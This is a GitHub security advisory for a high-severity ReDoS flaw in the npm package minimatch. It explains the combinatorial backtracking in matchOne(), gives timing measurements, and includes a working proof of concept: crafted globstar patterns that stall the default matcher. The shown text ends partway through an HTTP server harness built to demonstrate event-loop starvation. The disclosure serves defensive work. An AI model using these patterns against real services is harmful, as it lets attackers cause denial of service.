GitHub Security Advisory: GHSA-7r86-cg39-jmmj
Package: minimatch (NPM)
Severity: HIGH (CVSS 7.5)
CWE: CWE-407: Inefficient Algorithmic Complexity
Vulnerable versions: >= 5.0.0, < 5.1.8
Patched in: 5.1.8

Summary: minimatch has ReDoS: matchOne() combinatorial backtracking via multiple non-adjacent GLOBSTAR segments

Details:
### Summary

`matchOne()` performs unbounded recursive backtracking when a glob pattern contains multiple non-adjacent `**` (GLOBSTAR) segments and the input path does not match. The time complexity is O(C(n, k)) -- binomial -- where `n` is the number of path segments and `k` is the number of globstars. With k=11 and n=30, a call to the default `minimatch()` API stalls for roughly 5 seconds. With k=13, it exceeds 15 seconds. No memoization or call budget exists to bound this behavior.

---

### Details

The vulnerable loop is in `matchOne()` at [`src/index.ts#L960`](https://github.com/isaacs/minimatch/blob/v10.2.2/src/index.ts#L960):

```typescript
while (fr < fl) {
  ..
  if (this.matchOne(file.slice(fr), pattern.slice(pr), partial)) {
    ..
    return true
  }
  ..
  fr++
}
```

When a GLOBSTAR is encountered, the function tries to match the remaining pattern against every suffix of the remaining file segments. Each `**` multiplies the number of recursive calls by the number of remaining segments. With k non-adjacent globstars and n file segments, the total number of calls is C(n, k).

There is no depth counter, visited-state cache, or budget limit applied to this recursion. The call tree is fully explored before returning `false` on a non-matching input.

Measured timing with n=30 path segments:

| k (globstars) | Pattern size | Time     |
|---------------|--------------|----------|
| 7             | 36 bytes     | ~154ms   |
| 9             | 46 bytes     | ~1.2s    |
| 11            | 56 bytes     | ~5.4s    |
| 12            | 61 bytes     | ~9.7s    |
| 13            | 66 bytes     | ~15.9s   |

---

### PoC

Tested on minimatch@10.2.2, Node.js 20.

**Step 1 -- inline script**

```javascript
import { minimatch } from 'minimatch'

// k=9 globstars, n=30 path segments
// pattern: 46 bytes, default options
const pattern = '**/a/**/a/**/a/**/a/**/a/**/a/**/a/**/a/**/a/b'
const path    = 'a/a/a/a/a/a/a/a/a/a/a/a/a/a/a/a/a/a/a/a/a/a/a/a/a/a/a/a/a/a'

const start = Date.now()
minimatch(path, pattern)
console.log(Date.now() - start + 'ms') // ~1200ms
```

To scale the effect, increase k:

```javascript
// k=11 -> ~5.4s, k=13 -> ~15.9s
const k = 11
const pattern = Array.from({ length: k }, () => '**/a').join('/') + '/b'
const path    = Array(30).fill('a').join('/')
minimatch(path, pattern)
```

No special options are required. This reproduces with the default `minimatch()` call.

**Step 2 -- HTTP server (event loop starvation proof)**

The following server demonstrates the event loop starvation effect. It is a minimal harness, not a claim that this exact deployment pattern is common:

```javascript
// poc1-server.mjs
import http from 'node:http'
import { URL } from 'node:url'
import { minimatch } from 'minimatch'

const PORT = 3000

const server = http.createServer((req, res) => {
  const url = new URL(req.url, `http://localhost:${PORT}`)
  if (url.pathname !== '/match') { res.writeHead(404); res.end(); return }

  const pattern = url.searchParams